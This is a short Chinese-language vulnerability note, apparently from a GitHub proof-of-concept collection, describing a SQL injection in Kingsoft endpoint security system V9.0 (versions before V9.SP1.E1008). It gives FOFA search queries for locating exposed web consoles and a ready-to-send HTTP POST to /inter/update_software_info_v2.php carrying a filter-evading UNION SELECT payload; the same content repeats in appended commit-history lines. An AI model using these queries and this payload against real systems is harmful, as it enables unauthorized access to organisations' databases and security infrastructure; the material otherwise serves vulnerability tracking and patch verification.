%E9%87%91%E5%B1%B1%E7%BB%88%E7%AB%AF%E5%AE%89%E5%85%A8%E7%B3%BB%E7%BB%9FV9.0%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md

## 金山终端安全系统V9.0 SQL注入漏洞

## fofa查询语法
```
app="金山终端安全系统V9.0Web控制台"
title=="用户登录-金山终端安全系统V9.0Web控制台"
```

## 影响版本
金山终端安全系统 V9.0 < V9.SP1.E1008

## POC
```
POST /inter/update_software_info_v2.php HTTP/1.1 
Content-Type: application/x-www-form-urlencoded 
Host: ip:port
Content-Length: 81

type=--1E0union/**/se#lect-1E0,2,1,user(),5,6,7,8--&key=123&pageCount=1&curPage=1
```
Create 金山终端安全系统V9.0 SQL注入漏洞.md 2023-10-21 09:30:44 +08:00			`## 金山终端安全系统V9.0 SQL注入漏洞`

			`## fofa查询语法`
			```
			`app="金山终端安全系统V9.0Web控制台"`
Update 金山终端安全系统V9.0 SQL注入漏洞.md 2023-10-21 09:33:34 +08:00			`title=="用户登录-金山终端安全系统V9.0Web控制台"`
Create 金山终端安全系统V9.0 SQL注入漏洞.md 2023-10-21 09:30:44 +08:00			```

			`## 影响版本`
			`金山终端安全系统 V9.0 < V9.SP1.E1008`

			`## POC`
			```
			`POST /inter/update_software_info_v2.php HTTP/1.1`
			`Content-Type: application/x-www-form-urlencoded`
			`Host: ip:port`
			`Content-Length: 81`

			`type=--1E0union/**/se#lect-1E0,2,1,user(),5,6,7,8--&key=123&pageCount=1&curPage=1`
			```